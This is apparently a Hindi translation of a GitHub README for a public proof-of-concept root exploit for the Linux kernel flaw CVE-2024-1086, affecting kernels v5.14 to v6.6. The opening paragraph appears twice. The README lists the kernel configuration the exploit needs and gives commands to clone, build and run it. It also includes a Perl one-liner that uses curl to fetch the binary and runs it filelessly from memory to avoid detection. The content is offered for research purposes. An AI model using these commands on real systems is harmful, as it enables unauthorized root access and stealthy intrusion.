
CVE-2024-1086 के लिए यूनिवर्सल स्थानीय विशेषाधिकार वृद्धि प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो v5.14 और v6.6 के बीच अधिकांश Linux कर्नेल पर काम करता है, जिसमें Debian, Ubuntu, और KernelCTF शामिल हैं। KernelCTF छवियों में सफलता दर 99.4% है।
सार्वभौमिक स्थानीय विशेषाधिकार वृद्धि प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2024-1086 के लिए, जो v5.14 और v6.6 के बीच अधिकांश Linux कर्नेल पर काम करता है, जिसमें Debian, Ubuntu और KernelCTF शामिल हैं। KernelCTF इमेज में सफलता दर 99.4% है।
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
एक्सप्लॉइट का पूरा लेख - जिसमें पृष्ठभूमि जानकारी और बहुत सारे उपयोगी आरेख शामिल हैं - Flipping Pages ब्लॉगपोस्ट में पाया जा सकता है।
यह एक्सप्लॉइट v5.14 (सहित) से v6.6 (सहित) तक के संस्करणों को प्रभावित करता है, जिसमें पैच की गई शाखाएँ v5.15.149>, v6.1.76>, v6.6.15> शामिल नहीं हैं। इन संस्करणों के लिए पैच फरवरी 2024 में जारी किए गए थे। अंतर्निहित कमजोरी v3.15 से v6.8-rc1 तक सभी संस्करणों (पैच की गई स्थिर शाखाओं को छोड़कर) को प्रभावित करती है।
चेतावनियाँ:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (Ubuntu v6.5 सहित) के साथ काम नहीं करता है।CONFIG_USER_NS=y), कि वे user namespaces अनप्रिविलेज्ड हों (sh कमांड sysctl kernel.unprivileged_userns_clone = 1), और nf_tables सक्षम हो (kconfig CONFIG_NF_TABLES=y). डिफ़ॉल्ट रूप से, ये सभी Debian, Ubuntu और KernelCTF पर सक्षम होते हैं। अन्य डिस्ट्रो का परीक्षण नहीं किया गया है, लेकिन वे भी काम कर सकते हैं। इसके अतिरिक्त, एक्सप्लॉइट का केवल x64/amd64 पर परीक्षण किया गया है।डिफ़ॉल्ट मान Debian, Ubuntu और KernelCTF पर स्थानीय शेल के साथ बिना किसी बदलाव के काम करने चाहिए। गैर-परीक्षित सेटअप/डिस्ट्रो पर, कृपया सुनिश्चित करें कि kconfig मान लक्ष्य कर्नेल से मेल खाते हैं। इन्हें src/config.h में निर्दिष्ट किया जा सकता है। यदि आप 32GiB से अधिक भौतिक मेमोरी वाली मशीन पर एक्सप्लॉइट चला रहे हैं, तो CONFIG_PHYS_MEM बढ़ाना सुनिश्चित करें।
यदि आप SSH (परीक्षण मशीन में) या रिवर्स शेल के माध्यम से एक्सप्लॉइट चला रहे हैं, तो आप अनावश्यक नेटवर्क गतिविधि से बचने के लिए CONFIG_REDIRECT_LOG को 1 पर टॉगल करना चाह सकते हैं।
यदि यह आपके लिए व्यावहारिक नहीं है, तो डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ एक संकलित x64 बाइनरी उपलब्ध है।
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
बाइनरी: CVE-2024-1086/exploit
एक्सप्लॉइट चलाना उतना ही सरल है:
./exploit
फ़ाइललेस निष्पादन भी समर्थित है, पेंटेस्ट स्थितियों के मामले में जहां डिटेक्शन से बचने की आवश्यकता होती है। हालांकि, लक्ष्य पर Perl स्थापित होना चाहिए:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
इस सॉफ़्टवेयर निर्देशिका/फ़ोल्डर/रिपॉजिटरी ("रिपॉजिटरी") में प्रोग्राम और स्क्रिप्ट ("प्रोग्राम") केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए प्रकाशित, विकसित और वितरित किए गए हैं। मैं ("निर्माता") इस रिपॉजिटरी में प्रोग्राम के किसी भी दुर्भावनापूर्ण या अवैध उपयोग का समर्थन नहीं करता, क्योंकि इरादा अनुसंधान साझा करना है न कि इसके साथ अवैध गतिविधियाँ करना। मैं इस रिपॉजिटरी में प्रोग्रामों के साथ आपके द्वारा किए गए किसी भी काम के लिए कानूनी रूप से जिम्मेदार नहीं हूँ।